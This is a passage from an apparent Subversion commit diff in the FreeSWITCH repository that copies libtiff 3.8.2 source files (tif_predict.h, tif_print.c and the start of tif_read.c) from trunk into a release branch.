+}
+
+/* vim: set ts=8 sts=8 sw=8 noet: */

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_predict.h

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_predict.h (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/libtiff/tif_predict.h) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_predict.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_predict.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,64 @@
+/* $Id: tif_predict.h,v 1.3 2006/03/03 14:10:09 dron Exp $ */
+
+/*
+ * Copyright (c) 1995-1997 Sam Leffler
+ * Copyright (c) 1995-1997 Silicon Graphics, Inc.
+ *
+ * Permission to use, copy, modify, distribute, and sell this software and 
+ * its documentation for any purpose is hereby granted without fee, provided
+ * that (i) the above copyright notices and this permission notice appear in
+ * all copies of the software and related documentation, and (ii) the names of
+ * Sam Leffler and Silicon Graphics may not be used in any advertising or
+ * publicity relating to the software without the specific, prior written
+ * permission of Sam Leffler and Silicon Graphics.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+ * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+ * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+ * 
+ * IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+ * ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+ * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+ * WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+ * LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+ * OF THIS SOFTWARE.
+ */
+
+#ifndef _TIFFPREDICT_
+#define	_TIFFPREDICT_
+/*
+ * ``Library-private'' Support for the Predictor Tag
+ */
+
+/*
+ * Codecs that want to support the Predictor tag must place
+ * this structure first in their private state block so that
+ * the predictor code can cast tif_data to find its state.
+ */
+typedef struct {
+	int		predictor;	/* predictor tag value */
+	int		stride;		/* sample stride over data */
+	tsize_t		rowsize;	/* tile/strip row size */
+
+	TIFFPostMethod	pfunc;		/* horizontal differencer/accumulator */
+	TIFFCodeMethod	coderow;	/* parent codec encode/decode row */
+	TIFFCodeMethod	codestrip;	/* parent codec encode/decode strip */
+	TIFFCodeMethod	codetile;	/* parent codec encode/decode tile */
+	TIFFVGetMethod	vgetparent;	/* super-class method */
+	TIFFVSetMethod	vsetparent;	/* super-class method */
+	TIFFPrintMethod	printdir;	/* super-class method */
+	TIFFBoolMethod	setupdecode;	/* super-class method */
+	TIFFBoolMethod	setupencode;	/* super-class method */
+} TIFFPredictorState;
+
+#if defined(__cplusplus)
+extern "C" {
+#endif
+extern	int TIFFPredictorInit(TIFF*);
+extern	int TIFFPredictorCleanup(TIFF*);
+#if defined(__cplusplus)
+}
+#endif
+#endif /* _TIFFPREDICT_ */
+
+/* vim: set ts=8 sts=8 sw=8 noet: */

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_print.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_print.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/libtiff/tif_print.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_print.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_print.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,639 @@
+/* $Id: tif_print.c,v 1.35 2006/03/13 07:53:28 dron Exp $ */
+
+/*
+ * Copyright (c) 1988-1997 Sam Leffler
+ * Copyright (c) 1991-1997 Silicon Graphics, Inc.
+ *
+ * Permission to use, copy, modify, distribute, and sell this software and 
+ * its documentation for any purpose is hereby granted without fee, provided
+ * that (i) the above copyright notices and this permission notice appear in
+ * all copies of the software and related documentation, and (ii) the names of
+ * Sam Leffler and Silicon Graphics may not be used in any advertising or
+ * publicity relating to the software without the specific, prior written
+ * permission of Sam Leffler and Silicon Graphics.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+ * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+ * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+ * 
+ * IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+ * ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+ * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+ * WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+ * LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+ * OF THIS SOFTWARE.
+ */
+
+/*
+ * TIFF Library.
+ *
+ * Directory Printing Support
+ */
+#include "tiffiop.h"
+#include <stdio.h>
+
+#include <ctype.h>
+
+static const char *photoNames[] = {
+    "min-is-white",				/* PHOTOMETRIC_MINISWHITE */
+    "min-is-black",				/* PHOTOMETRIC_MINISBLACK */
+    "RGB color",				/* PHOTOMETRIC_RGB */
+    "palette color (RGB from colormap)",	/* PHOTOMETRIC_PALETTE */
+    "transparency mask",			/* PHOTOMETRIC_MASK */
+    "separated",				/* PHOTOMETRIC_SEPARATED */
+    "YCbCr",					/* PHOTOMETRIC_YCBCR */
+    "7 (0x7)",
+    "CIE L*a*b*",				/* PHOTOMETRIC_CIELAB */
+};
+#define	NPHOTONAMES	(sizeof (photoNames) / sizeof (photoNames[0]))
+
+static const char *orientNames[] = {
+    "0 (0x0)",
+    "row 0 top, col 0 lhs",			/* ORIENTATION_TOPLEFT */
+    "row 0 top, col 0 rhs",			/* ORIENTATION_TOPRIGHT */
+    "row 0 bottom, col 0 rhs",			/* ORIENTATION_BOTRIGHT */
+    "row 0 bottom, col 0 lhs",			/* ORIENTATION_BOTLEFT */
+    "row 0 lhs, col 0 top",			/* ORIENTATION_LEFTTOP */
+    "row 0 rhs, col 0 top",			/* ORIENTATION_RIGHTTOP */
+    "row 0 rhs, col 0 bottom",			/* ORIENTATION_RIGHTBOT */
+    "row 0 lhs, col 0 bottom",			/* ORIENTATION_LEFTBOT */
+};
+#define	NORIENTNAMES	(sizeof (orientNames) / sizeof (orientNames[0]))
+
+static void
+_TIFFPrintField(FILE* fd, const TIFFFieldInfo *fip,
+		uint32 value_count, void *raw_data)
+{
+	uint32 j;
+		
+	fprintf(fd, "  %s: ", fip->field_name);
+
+	for(j = 0; j < value_count; j++) {
+		if(fip->field_type == TIFF_BYTE)
+			fprintf(fd, "%u", ((uint8 *) raw_data)[j]);
+		else if(fip->field_type == TIFF_UNDEFINED)
+			fprintf(fd, "0x%x",
+				(unsigned int) ((unsigned char *) raw_data)[j]);
+		else if(fip->field_type == TIFF_SBYTE)
+			fprintf(fd, "%d", ((int8 *) raw_data)[j]);
+		else if(fip->field_type == TIFF_SHORT)
+			fprintf(fd, "%u", ((uint16 *) raw_data)[j]);
+		else if(fip->field_type == TIFF_SSHORT)
+			fprintf(fd, "%d", ((int16 *) raw_data)[j]);
+		else if(fip->field_type == TIFF_LONG)
+			fprintf(fd, "%lu",
+				(unsigned long)((uint32 *) raw_data)[j]);
+		else if(fip->field_type == TIFF_SLONG)
+			fprintf(fd, "%ld", (long)((int32 *) raw_data)[j]);
+		else if(fip->field_type == TIFF_RATIONAL
+			|| fip->field_type == TIFF_SRATIONAL
+			|| fip->field_type == TIFF_FLOAT)
+			fprintf(fd, "%f", ((float *) raw_data)[j]);
+		else if(fip->field_type == TIFF_IFD)
+			fprintf(fd, "0x%ulx", ((uint32 *) raw_data)[j]);
+		else if(fip->field_type == TIFF_ASCII) {
+			fprintf(fd, "%s", (char *) raw_data);
+			break;
+		}
+		else if(fip->field_type == TIFF_DOUBLE)
+			fprintf(fd, "%f", ((double *) raw_data)[j]);
+		else if(fip->field_type == TIFF_FLOAT)
+			fprintf(fd, "%f", ((float *)raw_data)[j]);
+		else {
+			fprintf(fd, "<unsupported data type in TIFFPrint>");
+			break;
+		}
+
+		if(j < value_count - 1)
+			fprintf(fd, ",");
+	}
+
+	fprintf(fd, "\n");
+}
+
+static int
+_TIFFPrettyPrintField(TIFF* tif, FILE* fd, ttag_t tag,
+		      uint32 value_count, void *raw_data)
+{
+	TIFFDirectory *td = &tif->tif_dir;
+
+	switch (tag)
+	{
+		case TIFFTAG_INKSET:
+			fprintf(fd, "  Ink Set: ");
+			switch (*((uint16*)raw_data)) {
+				case INKSET_CMYK:
+					fprintf(fd, "CMYK\n");
+					break;
+				default:
+					fprintf(fd, "%u (0x%x)\n",
+						*((uint16*)raw_data),
+						*((uint16*)raw_data));
+					break;
+			}
+			return 1;
+		case TIFFTAG_DOTRANGE:
+			fprintf(fd, "  Dot Range: %u-%u\n",
+				((uint16*)raw_data)[0], ((uint16*)raw_data)[1]);
+			return 1;
+		case TIFFTAG_WHITEPOINT:
+			fprintf(fd, "  White Point: %g-%g\n",
+				((float *)raw_data)[0], ((float *)raw_data)[1]);			return 1;
+		case TIFFTAG_REFERENCEBLACKWHITE:
+		{
+			uint16 i;
+
+			fprintf(fd, "  Reference Black/White:\n");
+			for (i = 0; i < td->td_samplesperpixel; i++)
+			fprintf(fd, "    %2d: %5g %5g\n", i,
+				((float *)raw_data)[2*i+0],
+				((float *)raw_data)[2*i+1]);
+			return 1;
+		}
+		case TIFFTAG_XMLPACKET:
+		{
+			uint32 i;
+			
+			fprintf(fd, "  XMLPacket (XMP Metadata):\n" );
+			for(i = 0; i < value_count; i++)
+				fputc(((char *)raw_data)[i], fd);
+			fprintf( fd, "\n" );
+			return 1;
+		}
+		case TIFFTAG_RICHTIFFIPTC:
+			/*
+			 * XXX: for some weird reason RichTIFFIPTC tag
+			 * defined as array of LONG values.
+			 */
+			fprintf(fd,
+				"  RichTIFFIPTC Data: <present>, %lu bytes\n",
+				(unsigned long) value_count * 4);
+			return 1;
+		case TIFFTAG_PHOTOSHOP:
+			fprintf(fd, "  Photoshop Data: <present>, %lu bytes\n",
+				(unsigned long) value_count);
+			return 1;
+		case TIFFTAG_ICCPROFILE:
+			fprintf(fd, "  ICC Profile: <present>, %lu bytes\n",
+				(unsigned long) value_count);
+			return 1;
+		case TIFFTAG_STONITS:
+			fprintf(fd,
+				"  Sample to Nits conversion factor: %.4e\n",
+				*((double*)raw_data));
+			return 1;
+        }
+
+	return 0;
+}
+
+/*
+ * Print the contents of the current directory
+ * to the specified stdio file stream.
+ */
+void
+TIFFPrintDirectory(TIFF* tif, FILE* fd, long flags)
+{
+	TIFFDirectory *td = &tif->tif_dir;
+	char *sep;
+	uint16 i;
+	long l, n;
+
+	fprintf(fd, "TIFF Directory at offset 0x%lx (%lu)\n",
+		(unsigned long)tif->tif_diroff, (unsigned long)tif->tif_diroff);
+	if (TIFFFieldSet(tif,FIELD_SUBFILETYPE)) {
+		fprintf(fd, "  Subfile Type:");
+		sep = " ";
+		if (td->td_subfiletype & FILETYPE_REDUCEDIMAGE) {
+			fprintf(fd, "%sreduced-resolution image", sep);
+			sep = "/";
+		}
+		if (td->td_subfiletype & FILETYPE_PAGE) {
+			fprintf(fd, "%smulti-page document", sep);
+			sep = "/";
+		}
+		if (td->td_subfiletype & FILETYPE_MASK)
+			fprintf(fd, "%stransparency mask", sep);
+		fprintf(fd, " (%lu = 0x%lx)\n",
+		    (long) td->td_subfiletype, (long) td->td_subfiletype);
+	}
+	if (TIFFFieldSet(tif,FIELD_IMAGEDIMENSIONS)) {
+		fprintf(fd, "  Image Width: %lu Image Length: %lu",
+		    (unsigned long) td->td_imagewidth, (unsigned long) td->td_imagelength);
+		if (TIFFFieldSet(tif,FIELD_IMAGEDEPTH))
+			fprintf(fd, " Image Depth: %lu",
+			    (unsigned long) td->td_imagedepth);
+		fprintf(fd, "\n");
+	}
+	if (TIFFFieldSet(tif,FIELD_TILEDIMENSIONS)) {
+		fprintf(fd, "  Tile Width: %lu Tile Length: %lu",
+		    (unsigned long) td->td_tilewidth, (unsigned long) td->td_tilelength);
+		if (TIFFFieldSet(tif,FIELD_TILEDEPTH))
+			fprintf(fd, " Tile Depth: %lu",
+			    (unsigned long) td->td_tiledepth);
+		fprintf(fd, "\n");
+	}
+	if (TIFFFieldSet(tif,FIELD_RESOLUTION)) {
+		fprintf(fd, "  Resolution: %g, %g",
+		    td->td_xresolution, td->td_yresolution);
+		if (TIFFFieldSet(tif,FIELD_RESOLUTIONUNIT)) {
+			switch (td->td_resolutionunit) {
+			case RESUNIT_NONE:
+				fprintf(fd, " (unitless)");
+				break;
+			case RESUNIT_INCH:
+				fprintf(fd, " pixels/inch");
+				break;
+			case RESUNIT_CENTIMETER:
+				fprintf(fd, " pixels/cm");
+				break;
+			default:
+				fprintf(fd, " (unit %u = 0x%x)",
+				    td->td_resolutionunit,
+				    td->td_resolutionunit);
+				break;
+			}
+		}
+		fprintf(fd, "\n");
+	}
+	if (TIFFFieldSet(tif,FIELD_POSITION))
+		fprintf(fd, "  Position: %g, %g\n",
+		    td->td_xposition, td->td_yposition);
+	if (TIFFFieldSet(tif,FIELD_BITSPERSAMPLE))
+		fprintf(fd, "  Bits/Sample: %u\n", td->td_bitspersample);
+	if (TIFFFieldSet(tif,FIELD_SAMPLEFORMAT)) {
+		fprintf(fd, "  Sample Format: ");
+		switch (td->td_sampleformat) {
+		case SAMPLEFORMAT_VOID:
+			fprintf(fd, "void\n");
+			break;
+		case SAMPLEFORMAT_INT:
+			fprintf(fd, "signed integer\n");
+			break;
+		case SAMPLEFORMAT_UINT:
+			fprintf(fd, "unsigned integer\n");
+			break;
+		case SAMPLEFORMAT_IEEEFP:
+			fprintf(fd, "IEEE floating point\n");
+			break;
+		case SAMPLEFORMAT_COMPLEXINT:
+			fprintf(fd, "complex signed integer\n");
+			break;
+		case SAMPLEFORMAT_COMPLEXIEEEFP:
+			fprintf(fd, "complex IEEE floating point\n");
+			break;
+		default:
+			fprintf(fd, "%u (0x%x)\n",
+			    td->td_sampleformat, td->td_sampleformat);
+			break;
+		}
+	}
+	if (TIFFFieldSet(tif,FIELD_COMPRESSION)) {
+		const TIFFCodec* c = TIFFFindCODEC(td->td_compression);
+		fprintf(fd, "  Compression Scheme: ");
+		if (c)
+			fprintf(fd, "%s\n", c->name);
+		else
+			fprintf(fd, "%u (0x%x)\n",
+			    td->td_compression, td->td_compression);
+	}
+	if (TIFFFieldSet(tif,FIELD_PHOTOMETRIC)) {
+		fprintf(fd, "  Photometric Interpretation: ");
+		if (td->td_photometric < NPHOTONAMES)
+			fprintf(fd, "%s\n", photoNames[td->td_photometric]);
+		else {
+			switch (td->td_photometric) {
+			case PHOTOMETRIC_LOGL:
+				fprintf(fd, "CIE Log2(L)\n");
+				break;
+			case PHOTOMETRIC_LOGLUV:
+				fprintf(fd, "CIE Log2(L) (u',v')\n");
+				break;
+			default:
+				fprintf(fd, "%u (0x%x)\n",
+				    td->td_photometric, td->td_photometric);
+				break;
+			}
+		}
+	}
+	if (TIFFFieldSet(tif,FIELD_EXTRASAMPLES) && td->td_extrasamples) {
+		fprintf(fd, "  Extra Samples: %u<", td->td_extrasamples);
+		sep = "";
+		for (i = 0; i < td->td_extrasamples; i++) {
+			switch (td->td_sampleinfo[i]) {
+			case EXTRASAMPLE_UNSPECIFIED:
+				fprintf(fd, "%sunspecified", sep);
+				break;
+			case EXTRASAMPLE_ASSOCALPHA:
+				fprintf(fd, "%sassoc-alpha", sep);
+				break;
+			case EXTRASAMPLE_UNASSALPHA:
+				fprintf(fd, "%sunassoc-alpha", sep);
+				break;
+			default:
+				fprintf(fd, "%s%u (0x%x)", sep,
+				    td->td_sampleinfo[i], td->td_sampleinfo[i]);
+				break;
+			}
+			sep = ", ";
+		}
+		fprintf(fd, ">\n");
+	}
+	if (TIFFFieldSet(tif,FIELD_INKNAMES)) {
+		char* cp;
+		fprintf(fd, "  Ink Names: ");
+		i = td->td_samplesperpixel;
+		sep = "";
+		for (cp = td->td_inknames; i > 0; cp = strchr(cp,'\0')+1, i--) {
+			fputs(sep, fd);
+			_TIFFprintAscii(fd, cp);
+			sep = ", ";
+		}
+                fputs("\n", fd);
+	}
+	if (TIFFFieldSet(tif,FIELD_THRESHHOLDING)) {
+		fprintf(fd, "  Thresholding: ");
+		switch (td->td_threshholding) {
+		case THRESHHOLD_BILEVEL:
+			fprintf(fd, "bilevel art scan\n");
+			break;
+		case THRESHHOLD_HALFTONE:
+			fprintf(fd, "halftone or dithered scan\n");
+			break;
+		case THRESHHOLD_ERRORDIFFUSE:
+			fprintf(fd, "error diffused\n");
+			break;
+		default:
+			fprintf(fd, "%u (0x%x)\n",
+			    td->td_threshholding, td->td_threshholding);
+			break;
+		}
+	}
+	if (TIFFFieldSet(tif,FIELD_FILLORDER)) {
+		fprintf(fd, "  FillOrder: ");
+		switch (td->td_fillorder) {
+		case FILLORDER_MSB2LSB:
+			fprintf(fd, "msb-to-lsb\n");
+			break;
+		case FILLORDER_LSB2MSB:
+			fprintf(fd, "lsb-to-msb\n");
+			break;
+		default:
+			fprintf(fd, "%u (0x%x)\n",
+			    td->td_fillorder, td->td_fillorder);
+			break;
+		}
+	}
+	if (TIFFFieldSet(tif,FIELD_YCBCRSUBSAMPLING))
+        {
+            /*
+             * For hacky reasons (see tif_jpeg.c - JPEGFixupTestSubsampling),
+             * we need to fetch this rather than trust what is in our
+             * structures.
+             */
+            uint16 subsampling[2];
+
+            TIFFGetField( tif, TIFFTAG_YCBCRSUBSAMPLING, 
+                          subsampling + 0, subsampling + 1 );
+		fprintf(fd, "  YCbCr Subsampling: %u, %u\n",
+                        subsampling[0], subsampling[1] );
+        }
+	if (TIFFFieldSet(tif,FIELD_YCBCRPOSITIONING)) {
+		fprintf(fd, "  YCbCr Positioning: ");
+		switch (td->td_ycbcrpositioning) {
+		case YCBCRPOSITION_CENTERED:
+			fprintf(fd, "centered\n");
+			break;
+		case YCBCRPOSITION_COSITED:
+			fprintf(fd, "cosited\n");
+			break;
+		default:
+			fprintf(fd, "%u (0x%x)\n",
+			    td->td_ycbcrpositioning, td->td_ycbcrpositioning);
+			break;
+		}
+	}
+	if (TIFFFieldSet(tif,FIELD_HALFTONEHINTS))
+		fprintf(fd, "  Halftone Hints: light %u dark %u\n",
+		    td->td_halftonehints[0], td->td_halftonehints[1]);
+	if (TIFFFieldSet(tif,FIELD_ORIENTATION)) {
+		fprintf(fd, "  Orientation: ");
+		if (td->td_orientation < NORIENTNAMES)
+			fprintf(fd, "%s\n", orientNames[td->td_orientation]);
+		else
+			fprintf(fd, "%u (0x%x)\n",
+			    td->td_orientation, td->td_orientation);
+	}
+	if (TIFFFieldSet(tif,FIELD_SAMPLESPERPIXEL))
+		fprintf(fd, "  Samples/Pixel: %u\n", td->td_samplesperpixel);
+	if (TIFFFieldSet(tif,FIELD_ROWSPERSTRIP)) {
+		fprintf(fd, "  Rows/Strip: ");
+		if (td->td_rowsperstrip == (uint32) -1)
+			fprintf(fd, "(infinite)\n");
+		else
+			fprintf(fd, "%lu\n", (unsigned long) td->td_rowsperstrip);
+	}
+	if (TIFFFieldSet(tif,FIELD_MINSAMPLEVALUE))
+		fprintf(fd, "  Min Sample Value: %u\n", td->td_minsamplevalue);
+	if (TIFFFieldSet(tif,FIELD_MAXSAMPLEVALUE))
+		fprintf(fd, "  Max Sample Value: %u\n", td->td_maxsamplevalue);
+	if (TIFFFieldSet(tif,FIELD_SMINSAMPLEVALUE))
+		fprintf(fd, "  SMin Sample Value: %g\n",
+		    td->td_sminsamplevalue);
+	if (TIFFFieldSet(tif,FIELD_SMAXSAMPLEVALUE))
+		fprintf(fd, "  SMax Sample Value: %g\n",
+		    td->td_smaxsamplevalue);
+	if (TIFFFieldSet(tif,FIELD_PLANARCONFIG)) {
+		fprintf(fd, "  Planar Configuration: ");
+		switch (td->td_planarconfig) {
+		case PLANARCONFIG_CONTIG:
+			fprintf(fd, "single image plane\n");
+			break;
+		case PLANARCONFIG_SEPARATE:
+			fprintf(fd, "separate image planes\n");
+			break;
+		default:
+			fprintf(fd, "%u (0x%x)\n",
+			    td->td_planarconfig, td->td_planarconfig);
+			break;
+		}
+	}
+	if (TIFFFieldSet(tif,FIELD_PAGENUMBER))
+		fprintf(fd, "  Page Number: %u-%u\n",
+		    td->td_pagenumber[0], td->td_pagenumber[1]);
+	if (TIFFFieldSet(tif,FIELD_COLORMAP)) {
+		fprintf(fd, "  Color Map: ");
+		if (flags & TIFFPRINT_COLORMAP) {
+			fprintf(fd, "\n");
+			n = 1L<<td->td_bitspersample;
+			for (l = 0; l < n; l++)
+				fprintf(fd, "   %5lu: %5u %5u %5u\n",
+				    l,
+				    td->td_colormap[0][l],
+				    td->td_colormap[1][l],
+				    td->td_colormap[2][l]);
+		} else
+			fprintf(fd, "(present)\n");
+	}
+	if (TIFFFieldSet(tif,FIELD_TRANSFERFUNCTION)) {
+		fprintf(fd, "  Transfer Function: ");
+		if (flags & TIFFPRINT_CURVES) {
+			fprintf(fd, "\n");
+			n = 1L<<td->td_bitspersample;
+			for (l = 0; l < n; l++) {
+				fprintf(fd, "    %2lu: %5u",
+				    l, td->td_transferfunction[0][l]);
+				for (i = 1; i < td->td_samplesperpixel; i++)
+					fprintf(fd, " %5u",
+					    td->td_transferfunction[i][l]);
+				fputc('\n', fd);
+			}
+		} else
+			fprintf(fd, "(present)\n");
+	}
+	if (TIFFFieldSet(tif, FIELD_SUBIFD)) {
+		fprintf(fd, "  SubIFD Offsets:");
+		for (i = 0; i < td->td_nsubifd; i++)
+			fprintf(fd, " %5lu", (long) td->td_subifd[i]);
+		fputc('\n', fd);
+	}
+
+        /*
+        ** Custom tag support.
+        */
+        {
+            int  i;
+            short count;
+
+            count = (short) TIFFGetTagListCount(tif);
+            for(i = 0; i < count; i++) {
+                ttag_t  tag = TIFFGetTagListEntry(tif, i);
+                const TIFFFieldInfo *fip;
+                uint16 value_count;
+                int mem_alloc = 0;
+                void *raw_data;
+
+                fip = TIFFFieldWithTag(tif, tag);
+                if(fip == NULL)
+			continue;
+
+		if(fip->field_passcount) {
+			if(TIFFGetField(tif, tag, &value_count, &raw_data) != 1)
+				continue;
+		} else {
+			if (fip->field_readcount == TIFF_VARIABLE
+			    || fip->field_readcount == TIFF_VARIABLE2)
+				value_count = 1;
+			else if (fip->field_readcount == TIFF_SPP)
+				value_count = td->td_samplesperpixel;
+			else
+				value_count = fip->field_readcount;
+			if ((fip->field_type == TIFF_ASCII
+			     || fip->field_readcount == TIFF_VARIABLE
+			     || fip->field_readcount == TIFF_VARIABLE2
+			     || fip->field_readcount == TIFF_SPP
+			     || value_count > 1)
+			    && fip->field_tag != TIFFTAG_PAGENUMBER
+			    && fip->field_tag != TIFFTAG_HALFTONEHINTS
+			    && fip->field_tag != TIFFTAG_YCBCRSUBSAMPLING
+			    && fip->field_tag != TIFFTAG_DOTRANGE) {
+				if(TIFFGetField(tif, tag, &raw_data) != 1)
+					continue;
+			} else if (fip->field_tag != TIFFTAG_PAGENUMBER
+				   && fip->field_tag != TIFFTAG_HALFTONEHINTS
+				   && fip->field_tag != TIFFTAG_YCBCRSUBSAMPLING
+				   && fip->field_tag != TIFFTAG_DOTRANGE) {
+				raw_data = _TIFFmalloc(
+					_TIFFDataSize(fip->field_type)
+					* value_count);
+				mem_alloc = 1;
+				if(TIFFGetField(tif, tag, raw_data) != 1) {
+					_TIFFfree(raw_data);
+					continue;
+				}
+			} else {
+				/* 
+				 * XXX: Should be fixed and removed, see the
+				 * notes related to TIFFTAG_PAGENUMBER,
+				 * TIFFTAG_HALFTONEHINTS,
+				 * TIFFTAG_YCBCRSUBSAMPLING and
+				 * TIFFTAG_DOTRANGE tags in tif_dir.c. */
+				char *tmp;
+				raw_data = _TIFFmalloc(
+					_TIFFDataSize(fip->field_type)
+					* value_count);
+				tmp = raw_data;
+				mem_alloc = 1;
+				if(TIFFGetField(tif, tag, tmp,
+				tmp + _TIFFDataSize(fip->field_type)) != 1) {
+					_TIFFfree(raw_data);
+					continue;
+				}
+			}
+		}
+
+		/*
+		 * Catch the tags which needs to be specially handled and
+		 * pretty print them. If tag not handled in
+		 * _TIFFPrettyPrintField() fall down and print it as any other
+		 * tag.
+		 */
+		if (_TIFFPrettyPrintField(tif, fd, tag, value_count, raw_data)) {
+			if(mem_alloc)
+				_TIFFfree(raw_data);
+			continue;
+		}
+		else
+			_TIFFPrintField(fd, fip, value_count, raw_data);
+
+		if(mem_alloc)
+			_TIFFfree(raw_data);
+            }
+        }
+        
+	if (tif->tif_tagmethods.printdir)
+		(*tif->tif_tagmethods.printdir)(tif, fd, flags);
+	if ((flags & TIFFPRINT_STRIPS) &&
+	    TIFFFieldSet(tif,FIELD_STRIPOFFSETS)) {
+		tstrip_t s;
+
+		fprintf(fd, "  %lu %s:\n",
+		    (long) td->td_nstrips,
+		    isTiled(tif) ? "Tiles" : "Strips");
+		for (s = 0; s < td->td_nstrips; s++)
+			fprintf(fd, "    %3lu: [%8lu, %8lu]\n",
+			    (unsigned long) s,
+			    (unsigned long) td->td_stripoffset[s],
+			    (unsigned long) td->td_stripbytecount[s]);
+	}
+}
+
+void
+_TIFFprintAscii(FILE* fd, const char* cp)
+{
+	for (; *cp != '\0'; cp++) {
+		const char* tp;
+
+		if (isprint((int)*cp)) {
+			fputc(*cp, fd);
+			continue;
+		}
+		for (tp = "\tt\bb\rr\nn\vv"; *tp; tp++)
+			if (*tp++ == *cp)
+				break;
+		if (*tp)
+			fprintf(fd, "\\%c", *tp);
+		else
+			fprintf(fd, "\\%03o", *cp & 0xff);
+	}
+}
+
+void
+_TIFFprintAsciiTag(FILE* fd, const char* name, const char* value)
+{
+	fprintf(fd, "  %s: \"", name);
+	_TIFFprintAscii(fd, value);
+	fprintf(fd, "\"\n");
+}
+
+/* vim: set ts=8 sts=8 sw=8 noet: */

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_read.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_read.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/libtiff/tif_read.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_read.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_read.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,650 @@
+/* $Id: tif_read.c,v 1.13 2005/12/21 12:23:13 joris Exp $ */
+
+/*
+ * Copyright (c) 1988-1997 Sam Leffler
+ * Copyright (c) 1991-1997 Silicon Graphics, Inc.
+ *
+ * Permission to use, copy, modify, distribute, and sell this software and 
+ * its documentation for any purpose is hereby granted without fee, provided
+ * that (i) the above copyright notices and this permission notice appear in
+ * all copies of the software and related documentation, and (ii) the names of
+ * Sam Leffler and Silicon Graphics may not be used in any advertising or
+ * publicity relating to the software without the specific, prior written
+ * permission of Sam Leffler and Silicon Graphics.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+ * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+ * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+ * 
+ * IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+ * ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+ * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+ * WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+ * LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+ * OF THIS SOFTWARE.
+ */
+
+/*
+ * TIFF Library.
+ * Scanline-oriented Read Support
+ */
+#include "tiffiop.h"
+#include <stdio.h>
+
+	int TIFFFillStrip(TIFF*, tstrip_t);
+	int TIFFFillTile(TIFF*, ttile_t);
+static	int TIFFStartStrip(TIFF*, tstrip_t);
+static	int TIFFStartTile(TIFF*, ttile_t);
+static	int TIFFCheckRead(TIFF*, int);
+
+#define	NOSTRIP	((tstrip_t) -1)			/* undefined state */
+#define	NOTILE	((ttile_t) -1)			/* undefined state */
+
+/*
+ * Seek to a random row+sample in a file.
+ */
+static int
+TIFFSeek(TIFF* tif, uint32 row, tsample_t sample)
+{
+	register TIFFDirectory *td = &tif->tif_dir;
+	tstrip_t strip;
+
+	if (row >= td->td_imagelength) {	/* out of range */
+		TIFFErrorExt(tif->tif_clientdata, tif->tif_name, "%lu: Row out of range, max %lu",
+		    (unsigned long) row, (unsigned long) td->td_imagelength);
+		return (0);
+	}
+	if (td->td_planarconfig == PLANARCONFIG_SEPARATE) {
+		if (sample >= td->td_samplesperpixel) {
+			TIFFErrorExt(tif->tif_clientdata, tif->tif_name,
+			    "%lu: Sample out of range, max %lu",
+			    (unsigned long) sample, (unsigned long) td->td_samplesperpixel);
+			return (0);
+		}
+		strip = sample*td->td_stripsperimage + row/td->td_rowsperstrip;
+	} else
+		strip = row / td->td_rowsperstrip;
+	if (strip != tif->tif_curstrip) { 	/* different strip, refill */
